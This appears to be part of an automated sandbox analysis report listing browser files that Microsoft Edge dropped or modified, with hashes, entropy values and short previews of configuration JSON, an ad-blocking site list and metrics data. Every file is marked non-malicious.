Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\586b4a07-62b5-49fc-9b07-a8932c19c443.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58896
Entropy (8bit):	6.104320175088787
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynMbmCBS2qX7bywgorQXdbiR3oM:z/0+zI7ynQmkS20cXdbe3
MD5:	B8A88D55E4D729E8B5C68B03E58341BF
SHA1:	8EAF6B57E712F370201DE71572AA0A93BC71CCD5
SHA-256:	FE4AE6C2D9A249596A09AF99175543A264454D064712D61F0648CCB2284EF456
SHA-512:	4D7AABF161F9A8D24772DEEDEAC4A4CEA8F4C949F1615F7DF790766EDB5861023EA3E65C052172D71BCB5F1F67F0A085EAD3537B60E9518EEC7419C075B9EBDF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7e2e15da-46b1-4657-b4de-d4564ebaecc5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60329
Entropy (8bit):	6.100992254006647
Encrypted:	false
SSDEEP:	1536:sMk1rT8HRnebJCBS2qX7bxzTB3o2gorQXdbir:sMYrT8xGJkS20fUXdbM
MD5:	6E97ACD16D25D3228DB38D99FDFD776D
SHA1:	92A1E7637F015695908DBC175FEAD65F337494D1
SHA-256:	1A6E9D145884522EC28B402C189FA1EBD33E30BA9E374A0A5F0820205F87102A
SHA-512:	F0090B3C64EFB68F55B80D1E0C5EBEC1B8AC686DE61FCB166F5B4C0E8EAFE1EF7952F23E934B144F648376E397466F6C6BB63AC49E3C159FC9B52FF22AD856E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"a9f2e339-8756-4e48-b73c-e709096ec641"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8159d591-aab8-4884-8b3b-d07ed79943ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	60406
Entropy (8bit):	6.1011090980957325
Encrypted:	false
SSDEEP:	1536:sMk1rT8Hc4eb5CBS2qX7bxzTB3o2gorQXdbir:sMYrT88H5kS20fUXdbM
MD5:	9F9CBFE481BE85956A4D510FA1EA6100
SHA1:	3462AB572721D908499AD0EE60E2DDA0581822B9
SHA-256:	C28A62F8ECCAF9F4BE645B475E6135B5FE73E3FCCF72F5E8580A417C905126F1
SHA-512:	0EFEB1B4C3AA1B2D9C6A8274DCFA60AEC6FE2AD16EBA3B40B92A14B04C394826BFD6A7EE3F1E449A1E2C79F081C8A8C9B7BD7365EE15A942A3C2B7ECF457E849
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"a9f2e339-8756-4e48-b73c-e709096ec641"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\92700e6c-fd28-4b61-bbde-ac926d90880a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60282
Entropy (8bit):	6.101123810732313
Encrypted:	false
SSDEEP:	1536:sMk1rT8HRnnbJCBS2qX7bxzTB3o2gorQXdbir:sMYrT8xbJkS20fUXdbM
MD5:	0366DFA0074B464F31DB7FF0066A1B60
SHA1:	52D927237513DF15C6AC52D205AE0C2D998D3B01
SHA-256:	AC96F6C42E882593CD6E5546C3E0C1974F0D745B418D824BF51F33B9FAC73362
SHA-512:	CB9E3977EE89C9B0257D959884410990A5F905B9436CDC42A59722707BE1FB08C263E9D5823D647921CFDA852B9F82E28092BD70F9B068E1948A75DB8C58D5C3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"a9f2e339-8756-4e48-b73c-e709096ec641"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9b6a45cd-77e7-4da3-bd5c-d9931140a662.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.1016686018820545
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynPCBS2qX7b8tPHgorQXdbiR3oM:z/0+zI7ynPkS20MtP0Xdbe3
MD5:	165D80BD03E6665E6F8344E74FDE153C
SHA1:	D2598E9631EF01B13D2E70DB035D476FC143EC8A
SHA-256:	AEDE2B33B94938F46675E860AFDBBF246F26669DC9C63CE2194D01A56BCE4551
SHA-512:	AEE35CD666368C65141AF06F8C418176AB685A85511BC6158C78EE1D3B83C87FCB2D4CC4FF23AB366EFE2DCD9B600529274760F7591D5EE4A7D3030DD1080952
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\0118a6dc-5f29-44be-8ce5-aebd5a07e6eb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673E0551-1F5C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.047203785855890995
Encrypted:	false
SSDEEP:	192:pi2rf0m5tm5nOAW5Y0JPi6VBK/7+HfgHXSWIoMEYTwghBMNsD+zRQcHgPs+999ks:YUf0Utqcd4ophq3VLB+X9k08T2RGOD
MD5:	47163EF337E37809D7DDDDF35214F3F1
SHA1:	ADEDB56C121179DF4C3E63D197E17C09BE3D549B
SHA-256:	D64EE9236B5D73905EF6ACA4D1D2C350923FF56F02E761DA4144A3E0E280C35D
SHA-512:	7690F441F746B5124C1998E601D33982699FFBBCA28223937D864F3ACD8C0C77050B4F68F2D0EAE8CA5D7B14B8F4F66564C911A876DB3E2E21C81D15BBAF563C
Malicious:	false
Preview:	...@..@...@.....C.].....@................h...X..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".omuoie20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U..G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .`2.........5.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673E0552-1DE0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4505119259832216
Encrypted:	false
SSDEEP:	3072:UV9G1tt3zl30W93QGB8Pkcj+yM4Sv1knRgrK4r5qsXQCT0ug1HF9V:YG1TlIGBekcj5WnrK4r5qsgCT0uaHF
MD5:	19D32AFEE072A66208717B26B6383FA7
SHA1:	1BE3A529E1C68BFC4BB951162541F906B00152A2
SHA-256:	AB484A049B32855E5CF1178E0A0FA4A3552FD653C2765069C99EC8F038BE081F
SHA-512:	FC891F84926E56A636758F439ACB611A9013368EDFABC14EBF4170944894ABE6FDF55E62C538C6DFD27DCD2079F1140B83E07E5960B94E3156015076B9DDDB34
Malicious:	false
Preview:	...@..@...@.....C.].....@...............P...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".omuoie20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U?:K...G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.1326399824826066
Encrypted:	false
SSDEEP:	3:FiWWltlT0EiCjG2xo6kMWPGdV8B+BVP/Sh/JzvXEAAG34tTAUFVHTtOllt:o1AGGwwMWj+BVsJDkG3V80/
MD5:	DB0B5F32DD6A247AE52AF2E9280D22D6
SHA1:	DF845EBCFC1E637F3A8674D6F24D1206637C358A
SHA-256:	20F50A96662CC19C9EA2D5C00F8FEECC0FFBD4B6290102C46CB7BB8B1B9CBFAE
SHA-512:	87962BBB3C6F8B5AE66B669B2B24C772E7CBA73C9AF57F57BF05657B5FDADB53B6DDD84914D4C465241591B26F07C61E358AC77A5E35281AE0EBFA13FA2EF14D
Malicious:	false
Preview:	sdPC.......................c.CsJ......5"93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................e9a6470b-82e9-4451-b995-4e1980b580b6............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\07d04d2c-404b-4f1b-be80-212a6cf5a1d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17281), with no line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.4795409706409215
Encrypted:	false
SSDEEP:	384:stMPGQSu4ysuOEiZzsKUhOhlZubGHQwU1:syOXuXfiZQ9bGwL
MD5:	C8FFE7F585122774066A2D4091B3FB71
SHA1:	F1D4419C38DE482EC529605CF08013C02CE7B859
SHA-256:	42A1892C90F3754F36FCB68C3790405384948C94E5B7F89153E28713DC70E8E3
SHA-512:	38EAC9873659DD4D2BE122CA4C12E960738ADDB55F9F1F4709B6BAE75B263B4FDE01DAA85D9783F917550BBB3164E427C5A5D8CBAA6561E77045F7922C964399
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376591443384661","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\115cf8eb-7fad-4293-9585-f053b01f3497.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\268225ea-ef85-43f2-9f7b-5cf6dd56ff26.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\596be6d5-9d9f-4080-8cde-39907a220d00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

